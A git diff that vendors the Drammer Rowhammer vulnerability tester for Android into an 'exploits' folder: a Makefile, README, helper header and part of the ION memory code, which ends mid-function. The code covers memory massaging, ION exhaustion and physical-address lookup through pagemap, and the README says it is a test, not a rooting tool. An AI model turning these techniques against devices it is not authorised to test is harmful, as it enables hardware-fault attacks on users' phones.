a tag is not allowed in this repository." >&2 + exit 1 + fi + ;; + refs/heads/*,commit) + # branch + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then + echo "*** Creating a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/heads/*,delete) + # delete branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/remotes/*,commit) + # tracking branch + ;; + refs/remotes/*,delete) + # delete tracking branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + *) + # Anything else (is there anything else?) + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 + exit 1 + ;; +esac + +# --- Finished +exit 0 diff --git b/exploits/drammer/.git-disabled/index a/exploits/drammer/.git-disabled/index new file mode 100644 index 0000000..6e7b4e2 --- /dev/null +++ a/exploits/drammer/.git-disabled/index diff --git b/exploits/drammer/.git-disabled/info/exclude a/exploits/drammer/.git-disabled/info/exclude new file mode 100644 index 0000000..a5196d1 --- /dev/null +++ a/exploits/drammer/.git-disabled/info/exclude @@ -0,0 +1,6 @@ +# git ls-files --others --exclude-from=.git/info/exclude +# Lines that start with '#' are comments. +# For a project mostly in C, the following would be a good set of +# exclude patterns (uncomment them if you want to use them): +# *.[oa] +# *~ diff --git b/exploits/drammer/.git-disabled/logs/HEAD a/exploits/drammer/.git-disabled/logs/HEAD new file mode 100644 index 0000000..112ecc7 --- /dev/null +++ a/exploits/drammer/.git-disabled/logs/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego 1495477918 +0200 clone: from https://github.com/vusec/drammer diff --git b/exploits/drammer/.git-disabled/logs/refs/heads/master a/exploits/drammer/.git-disabled/logs/refs/heads/master new file mode 100644 index 0000000..112ecc7 --- /dev/null +++ a/exploits/drammer/.git-disabled/logs/refs/heads/master @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego 1495477918 +0200 clone: from https://github.com/vusec/drammer diff --git b/exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD a/exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD new file mode 100644 index 0000000..112ecc7 --- /dev/null +++ a/exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego 1495477918 +0200 clone: from https://github.com/vusec/drammer diff --git b/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.idx a/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.idx new file mode 100644 index 0000000..d908e2d --- /dev/null +++ a/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.idx diff --git b/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.pack a/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.pack new file mode 100644 index 0000000..19d5ff4 --- /dev/null +++ a/exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.pack diff --git b/exploits/drammer/.git-disabled/packed-refs a/exploits/drammer/.git-disabled/packed-refs new file mode 100644 index 0000000..6303ace --- /dev/null +++ a/exploits/drammer/.git-disabled/packed-refs @@ -0,0 +1,3 @@ +# pack-refs with: peeled fully-peeled +d17e333b076830f404e203a2b45aad3b172043f1 refs/remotes/origin/geometry +4c5ef24f03eff0280c38c911ce2e94f16d026961 refs/remotes/origin/master diff --git b/exploits/drammer/.git-disabled/refs/heads/master a/exploits/drammer/.git-disabled/refs/heads/master new file mode 100644 index 0000000..32777e6 --- /dev/null +++ a/exploits/drammer/.git-disabled/refs/heads/master @@ -0,0 +1 @@ +4c5ef24f03eff0280c38c911ce2e94f16d026961 diff --git b/exploits/drammer/.git-disabled/refs/remotes/origin/HEAD a/exploits/drammer/.git-disabled/refs/remotes/origin/HEAD new file mode 100644 index 0000000..6efe28f --- /dev/null +++ a/exploits/drammer/.git-disabled/refs/remotes/origin/HEAD @@ -0,0 +1 @@ +ref: refs/remotes/origin/master diff --git b/exploits/drammer/.gitignore a/exploits/drammer/.gitignore new file mode 100644 index 0000000..70e1f93 --- /dev/null +++ a/exploits/drammer/.gitignore @@ -0,0 +1,2 @@ +*.o +rh-test diff --git b/exploits/drammer/LICENSE-2.0.txt a/exploits/drammer/LICENSE-2.0.txt new file mode 100644 index 0000000..d645695 --- /dev/null +++ a/exploits/drammer/LICENSE-2.0.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git b/exploits/drammer/Makefile a/exploits/drammer/Makefile new file mode 100644 index 0000000..92c5c71 --- /dev/null +++ a/exploits/drammer/Makefile @@ -0,0 +1,57 @@ +## + # Copyright 2016, Victor van der Veen + # + # Licensed under the Apache License, Version 2.0 (the "License"); + # you may not use this file except in compliance with the License. + # You may obtain a copy of the License at + # + # http://www.apache.org/licenses/LICENSE-2.0 + # + # Unless required by applicable law or agreed to in writing, software + # distributed under the License is distributed on an "AS IS" BASIS, + # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + # See the License for the specific language governing permissions and + # limitations under the License. + ## + +STANDALONE_TOOLCHAIN ?= /home/imanol/devel/android-ndk/toolchains/default-arm-toolchain/prebuilt/linux-x86_64/bin +#$(HOME)/src/android-ndk-r11c/sysroot-arm/bin + +CC = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-gcc +CXX = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++ +CPP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++ +STRIP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-strip + +CPPFLAGS = -std=c++11 -O3 -Wall +LDFLAGS = -pthread -static +INCLUDES = -I$(PWD)/../include + +TMPDIR = /data/local/tmp/ +TARGET ?= rh-test + +all: $(TARGET) + +rh-test: rh-test.o ion.o rowsize.o templating.o massage.o + $(CPP) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) + $(STRIP) $@ + +%.o: %.cc + $(CPP) $(CPPFLAGS) $(INCLUDES) -c -o $@ $< + +install: + make all + adb push $(TARGET) $(TMPDIR) + adb shell chmod 755 $(TMPDIR)$(TARGET) + +clean: + rm -f $(TARGET) *.o a.out + +upload: + scp rh-test vvdveen.com:/home/vvdveen/www/drammer/rh-test + + +reboot: + adb reboot + +test: + adb shell "$(TMPDIR)$(TARGET) -f/data/local/tmp/out.txt" diff --git b/exploits/drammer/README.md a/exploits/drammer/README.md new file mode 100644 index 0000000..df517f5 --- /dev/null +++ a/exploits/drammer/README.md @@ -0,0 +1,169 @@ +# Drammer +This software is the open-source component of our paper "Drammer: Deterministic +Rowhammer Attacks on Mobile Devices", published in ACM Computer and +Communications Security (CCS) 2016. It allows you to test whether an Android +device is vulnerable to the Rowhammer bug. It does **not** allow you to root +your device. + +This code base contains our *native*, C/C++-based mobile Rowhammer +test implementation. + +# Disclaimer +If, for some weird reason, you think running this code broke your device, you +get to keep both pieces. + +# Android GUI app +If you don't want to build the test yourself, we also provide an +[Android app](https://vvdveen.com/drammer/drammer.apk) as a GUI for the native +component that may or may not be currently available on the +[Google Play Store](https://play.google.com/store/apps/details?id=org.iseclab.drammer) +depending on the store's policy. + +The app supports *relaxed* and *aggressive* hammering, which corresponds to the +number of seconds to run 'defrag' (-d command line option described below): you +can choose a timeout between 0 (no defrag) and 60 seconds, although higher +timeouts likely cause the app to become unresponsive. + +The app optionally collects basic statistics on the type of device and test +results so that we can gain insights into the number and type of vulnerable +devices in the wild, so please consider sharing them for science. + +# Native installation +To build the native binary, you need an Android NDK toolchain. I used +android-ndk-r11c: + + wget https://dl.google.com/android/repository/android-ndk-r11c-linux-x86_64.zip + unzip android-ndk-r11c-linux-x86_64.zip + cd android-ndk-r11c + ./build/tools/make-standalone-toolchain.sh --ndk-dir=`pwd` \ + --arch=arm --platform=android-24 \ + --install-dir=./sysroot-arm/ \ + --verbose + +You can then build the program setting `STANDALONE_TOOLCHAIN` variable to point +to the toolchain: + + STANDALONE_TOOLCHAIN=path/to/android-ndk-r11c/sysroot-arm/bin make + +This gives you a stripped ARMv7 binary that you can run on both ARMv7 (32-bit) +and ARMv8 (64-bit) devices. The Makefile provides an install feature that uses +the Android Debug Bridge (adb) to push the binary to your device's +/data/local/tmp/ directory. You can install adb by doing a `sudo apt-get install +android-tools-adb` (on Ubuntu) or by installing the Android SDK via +[android.com](https://developer.android.com/studio/index.html#downloads). Then +do a: + + make install + make test + +to install and start the Rowhammer test binary. Once installed, you may also +invoke it from the shell directly: + + adb shell + cd /data/local/tmp + ./rh-test + +## Command line options +The native binary provides a number of command line options: + +* *-a* + Do templating with all patterns. Without this option, only the patterns *010* + and *101* are used, meaning that we hammer each row twice: once with it's + aggressor rows containing all zeros while the victim row holds only ones, and + once with the aggressor rows holding ones while the victim consists of zeros + only. Enabling this option hammers each row with the following configurations: + *000*, *001*, *010*, *011*, *100*, *101*, *110*, *111*, *00r*, *0r0*, *0rr*, + *r00*, *r0r*, *rr0*, *rrr* (where *r* is random and changed every 100 + iterations). + +- *-c * + Number of memory accesses per hammer round, defaults to 1000000. It is + said that 2500000 yields the most flips. + +- *-d * + Number of seconds to run 'defrag' (disabled by default). This tricks the + system into freeing more ION memory that can be used for templating. Since + Android tries to keep as many background processes in memory as possible, the + amount of memory available for ION allocations may be very small (all of the + memory is either in use, or cached in the operating system). By allocating + many ION chunks, this option forces Android's low memory killer to kill + background processes, giving us more (contiguous) memory to hammer in the + templating phase. + Use this option with caution: setting it too high likely hangs your device and + trigger a reboot. My advice is to first try without *-d* (or with *-d0*), see + how much memory you get, if not enough, hit `CTRL^C`, and restart with *-d3*. + If this still does not give you enough memory, I usually repeat the sequence + of breaking with `CTRL^C` and restarting with *-d3* again in favor of using a + higher timeout value. To answer the question of "how much is enough": on a + Nexus 5, that comes with 2GB of memory, you should be able to get 400 to 600 + MB of ION memory. + +- *-f * + Write results not only to stdout but also to this file. + +- *-h* + Dump the help screen. + +- *-i* + Run an ION heap-type detector function. + +- *-q * + Pin the program to this CPU. Some big.LITTLE architectures require you to pin + the program to a big core, to make sure memory accesses are as fast as + possible. + +- *-r * + The rowsize in bytes. If this value is not provided, the program tries to find + it using a timing side-channel (described in the paper) which may not always + work. The most common value seems to be 65536 (64KB). + +- *-s* + Hammer more conservatively. By default, we hammer each page, but this option + moves less bytes (currently set to 64 bytes). + +- *-t * + Stop hammering after this many seconds. The default behavior is to hammer all + memory that we were able to allocate. + +## Description of source files +The native code base is written in C and abuses some C++ functionality. There +are some comments in the source files that, combined with run-time output dumped +on stdout, should give you an indication of what is happening. The main output +of a run consists of numbers that indicate the average DRAM access time (in +nanoseconds). + +What follows is a short description of all source files. + +- *Makefile* + Build system. + +- *helper.h* + Inline helper functions defined in a header file. + +- *ion.cc* and *ion.h* + Implements all ION related functionality: allocate, share, and free. By using + a custom *ION data* data structure defined in ion.h, we also provide some + functions on top of these core ION ionctls: bulk (bulk allocations), mmap, + clean, and clean_all. It is required to call ION_init() before performing any + ION related operations, as this function takes care of opening the /dev/ion + file and reads /proc/cpuinfo to determine which ION heap to use. Note that + the latter functionality is likely incomplete. + +- *massage.cc* and *massage.h* + Implements exhaust (used for exhausting ION chunks: allocate until nothing is + left) and defrag functions. + +- *rh-test.cc* + Implements main() and is in charge of parsing the command line options and + starting a template session. + +- *rowsize.cc* and *rowsize.h* + Implements the auto detect function for finding the rowsize (described in more + detail in the paper, Sections 5.1 and 8.1, and Figure 3) + +- *templating.cc* and *templating.h* + Implements the actual Rowhammer test and builds template_t data structures + (defined in templating.h, which might include some redundant fields). The + is_exploitable() function checks whether a given template is in fact + exploitable with Drammer. The main function is TMPL_run which loops over all + hammerable ION chunks. diff --git b/exploits/drammer/helper.h a/exploits/drammer/helper.h new file mode 100644 index 0000000..cbc3881 --- /dev/null +++ a/exploits/drammer/helper.h @@ -0,0 +1,104 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __HELPER_H__ +#define __HELPER_H__ + +#include +#include +#include +#include +#include + +#include +#include +#include + +#define G(x) (x << 30) +#define M(x) (x << 20) +#define K(x) (x << 10) + +#define B_TO_ORDER(x) (ffs(x / 4096)-1) +#define KB_TO_ORDER(x) (ffs(x / 4)-1) +#define MB_TO_ORDER(x) (ffs(x * 256)-1) + +#define ORDER_TO_B(x) ((1 << x) * 4096) +#define ORDER_TO_KB(x) ((1 << x) * 4) +#define ORDER_TO_MB(x) ((1 << x) / 256) + +#define MAX_ORDER 10 + +#define BILLION 1000000000L +#define MILLION 1000000L + +extern FILE *global_of; + +static inline uint64_t get_ns(void) { + struct timespec t; + clock_gettime(CLOCK_MONOTONIC, &t); + return BILLION * (uint64_t) t.tv_sec + (uint64_t) t.tv_nsec; +} + +static inline uint64_t get_ms(void) { + struct timeval tv; + gettimeofday(&tv, NULL); + return MILLION * (uint64_t) tv.tv_sec + tv.tv_usec; +} + +static int pagemap_fd = 0; +static bool got_pagemap = true; + +static inline uintptr_t get_phys_addr(uintptr_t virtual_addr) { + if (!got_pagemap) return 0; + if (pagemap_fd == 0) { + pagemap_fd = open("/proc/self/pagemap", O_RDONLY); + if (pagemap_fd < 0) { + got_pagemap = false; + return 0; + } + } + uint64_t value; + off_t offset = (virtual_addr / PAGESIZE) * sizeof(value); + int got = pread(pagemap_fd, &value, sizeof(value), offset); + assert(got == 8); + + // Check the "page present" flag. + if ((value & (1ULL << 63)) == 0) { + printf("page not present? virtual address: %p | value: %p\n", virtual_addr, value); + return 0; + } + + uint64_t frame_num = (value & ((1ULL << 54) - 1)); + return (frame_num * PAGESIZE) | (virtual_addr & (PAGESIZE-1)); +} + +static inline uint64_t compute_median(std::vector &v) { + if (v.size() == 0) return 0; + std::vector tmp = v; + size_t n = tmp.size() / 2; + std::nth_element(tmp.begin(), tmp.begin()+n, tmp.end()); + return tmp[n]; +} + +static inline void print(const char *format, ...) { + va_list args; + va_start(args, format); + vfprintf(stdout, format, args); + if (global_of != NULL) vfprintf(global_of, format, args); + va_end(args); +} + +#endif // __HELPER_H__ diff --git b/exploits/drammer/ion.cc a/exploits/drammer/ion.cc new file mode 100644 index 0000000..5dab653 --- /dev/null +++ a/exploits/drammer/ion.cc @@ -0,0 +1,366 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + +#include "helper.h" +#include "ion.h" + +int chipset; +#define CHIPSET_MSM 21 +#define CHIPSET_MEDIATEK 1 +#define CHIPSET_EXYNOS 4 +#define CHIPSET_MAKO 25 +#define CHIPSET_TEGRA 2 +#define CHIPSET_UNIVERSAL 1 +#define CHIPSET_KIRIN 1 +#define CHIPSET_SPREADTRUM 2 +#define CHIPSET_QCT 22 + +int ion_fd; +extern int rowsize; + +/********************************************** + * Core ION wrappers + **********************************************/ +ion_user_handle_t ION_alloc(int len, int heap_id) { + if (heap_id == -1 && len > M(4)) return 0; + struct ion_allocation_data allocation_data; + + if (heap_id == -1) { + allocation_data.heap_id_mask = (0x1 << chipset); + } else { + allocation_data.heap_id_mask = (0x1 << heap_id); + } + allocation_data.flags = 0; + allocation_data.align = 0; + allocation_data.len = len; + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); + if (err) return 0; + return allocation_data.handle; +} +int ION_share(ion_user_handle_t handle) { + struct ion_fd_data fd_data; + fd_data.handle = handle; + int err = ioctl(ion_fd, ION_IOC_SHARE, &fd_data); + if (err) return -1; + return fd_data.fd; +} +int ION_free(ion_user_handle_t handle) { + struct ion_handle_data handle_data; + handle_data.handle = handle; + int err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); + if (err) return -1; + return 0; +} + +/********************************************** + * Mmap a struct ion_data + **********************************************/ +int ION_mmap(struct ion_data *data, int prot, int flags, void *addr) { + data->fd = ION_share(data->handle); + if (data->fd < 0) { + perror("Could not share"); + return -1; + //exit(EXIT_FAILURE); + } + + if ( prot == -1) prot = PROT_READ | PROT_WRITE; + if (flags == -1) flags = MAP_SHARED | MAP_POPULATE; + + data->mapping = mmap(addr, data->len, prot, flags, data->fd, 0); + if (data->mapping == MAP_FAILED) { + perror("Could not mmap"); + exit(EXIT_FAILURE); + } + + return 0; +} + +/********************************************** + * Free a struct ion_data + **********************************************/ +void ION_clean(struct ion_data *data) { + if (data->mapping) { + if (munmap(data->mapping, data->len)) { + perror("Could not munmap"); + exit(EXIT_FAILURE); + } + data->mapping = NULL; + + if (close(data->fd)) { + perror("Could not close"); + exit(EXIT_FAILURE); + } + } + + if (data->handle) { + if (ION_free(data->handle)) { + perror("Could not free"); + exit(EXIT_FAILURE); + } + data->handle = 0; + } +} + +/********************************************** + * Allocate ION chunks in bulk + **********************************************/ + +/* Our java app will send a SIGUSR1 signal if the system is low on memory. This + * probably requires a bit more debugging... */ + +bool lowmem; +void lowmem_handler(int signal) { + print("LOW MEMORY!\n"); + lowmem = true; +} + +int ION_bulk(int len, std::vector &chunks, int max, bool mmap) { + lowmem = false; + signal(SIGUSR1, lowmem_handler); + + int count = 0; + while (true) { + struct ion_data *data = new ion_data; + if (data == NULL) { + perror("Could not malloc"); + exit(EXIT_FAILURE); + } + + data->handle = ION_alloc(len); + if (data->handle == 0) { + /* Could not allocate, probably exhausted the ion chunks */ + free(data); + break; + } + data->len = len; + + if (mmap) { + int ret = ION_mmap(data); + if (ret < 0) { + break; + } + } else { + data->mapping = NULL; + } + + data->hammerable_rows.clear(); + + chunks.push_back(data); + count++; + if (max > 0 && count >= max) break; + + if (lowmem) break; + } + return count; +} + +/********************************************** + * Clean a vector of struct ion_data + **********************************************/ +void ION_clean_all(std::vector &chunks, int max) { + if (!max) max = chunks.size(); + for (int i = 0; i < max; i++) { + ION_clean(chunks[i]); + delete(chunks[i]); + } + chunks.erase(chunks.begin(), chunks.begin() + max); // remove first elements +} + +/********************************************** + * Populate a vector of virtual address that we can hammer + **********************************************/ +void ION_get_hammerable_rows(struct ion_data * chunk) { + if (chunk->len < (3*rowsize)) return; + if (chunk->mapping == NULL) return; + for (int offset = rowsize; + offset < chunk->len - rowsize; + offset += rowsize) { + uintptr_t virt_row = (uintptr_t) chunk->mapping + offset; + chunk->hammerable_rows.push_back(virt_row); + } +} + + +/********************************************** + * Initialize and finalize /dev/ion + **********************************************/ +void ION_init(void) { + // get chipset + chipset = CHIPSET_MSM; + std::ifstream cpuinfo("/proc/cpuinfo"); + for (std::string line; getline(cpuinfo, line); ) { + if (line.find("Qualcomm") != std::string::npos) { + print("Detected chipset: Qualcomm\n"); + chipset = CHIPSET_MSM; + break; + } + if (line.find("Exynos") != std::string::npos) { + print("Detected chipset: Exynos\n"); + chipset = CHIPSET_EXYNOS; + break; + } + if (line.find(": 0x53") != std::string::npos) { + print("Detected chipset: Exynos\n"); // S7, S7 Edge, but probably more :( + chipset = CHIPSET_EXYNOS; + break; + } + if (line.find(": sc") != std::string::npos) { + // Hardware : sc8830 + print("Detected chipset: Spreadtrum\n"); + chipset = CHIPSET_SPREADTRUM; + break; + } + if (line.find("EXYNOS") != std::string::npos) { + // Samsung EXYNOS5433 + print("Detected chipset: Exynos\n"); + chipset = CHIPSET_EXYNOS; + break; + } + if (line.find("UNIVERSAL") != std::string::npos) { + print("Detected chipset: UNIVERSAL\n"); + chipset = CHIPSET_UNIVERSAL; + break; + } + if (line.find("MAKO") != std::string::npos) { + print("Detected chipset: Mako\n"); + chipset = CHIPSET_MAKO; + break; + } + if (line.find("Flounder") != std::string::npos) { + print("Detected chipset: Tegra\n"); + chipset = CHIPSET_TEGRA; + break; + } + if (line.find(": MT") != std::string::npos) { + print("Detected chipset: Mediatek\n"); + chipset = CHIPSET_MEDIATEK; + break; + } + if (line.find(": hi") != std::string::npos) { + print("Detected chipset Kirin\n"); + chipset = CHIPSET_KIRIN; + break; + } + if (line.find("Kirin") != std::string::npos) { + print("Detected chipset Kirin\n"); + chipset = CHIPSET_KIRIN; + break; + } + if (line.find("MSM8627") != std::string::npos) { + print("Detected cihpset MSM8627\n"); + chipset = CHIPSET_QCT; + } + } + + ion_fd = open("/dev/ion", O_RDONLY); + if (!ion_fd) { + perror("Could not open ion"); + exit(EXIT_FAILURE); + } + + int err; + sigset_t sigset; + + err = sigfillset(&sigset); + if (err != 0) perror("sigfillset"); + + err = sigprocmask(SIG_UNBLOCK, &sigset, NULL); + if (err != 0) perror("sigprocmask"); + + setvbuf(stdout, NULL, _IONBF, 0); +} +void ION_fini(void) { + close(ion_fd); +} + + + + +void ION_detector(void) { + for (int i = 0; i < 32; i++) { + uint32_t mask = 0x1 << i; + printf("Trying to allocate 4KB with heap id: %2d | mask: %8x ", i, mask); + + struct ion_handle_data handle_data; + struct ion_allocation_data allocation_data; + allocation_data.flags = 0; + allocation_data.align = 0; + allocation_data.len = K(4); + allocation_data.heap_id_mask = mask; + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); + if (err) { + printf(" -> nope (%s)\n", strerror(errno)); + continue; + } + printf(" -> ok!\n"); + handle_data.handle = allocation_data.handle; + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); + if (err) { + printf(" -> could not free (%s)\n", strerror(errno)); + continue; + } + + printf("...... to allocate 4MB with heap id: %2d | mask: %8x ", i, mask); + allocation_data.len = M(4); + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); + if (err) { + printf(" -> nope (%s)\n", strerror(errno)); + continue; + } + printf(" -> ok!\n"); + handle_data.handle = allocation_data.handle; + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); + if (err) { + printf(" -> could not free (%s)\n", strerror(errno)); + continue; + } + + printf("...... to allocate 16MB with heap id: %2d | mask: %8x ", i, mask); + allocation_data.len = M(16); + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); + if (err) { + printf(" -> nope 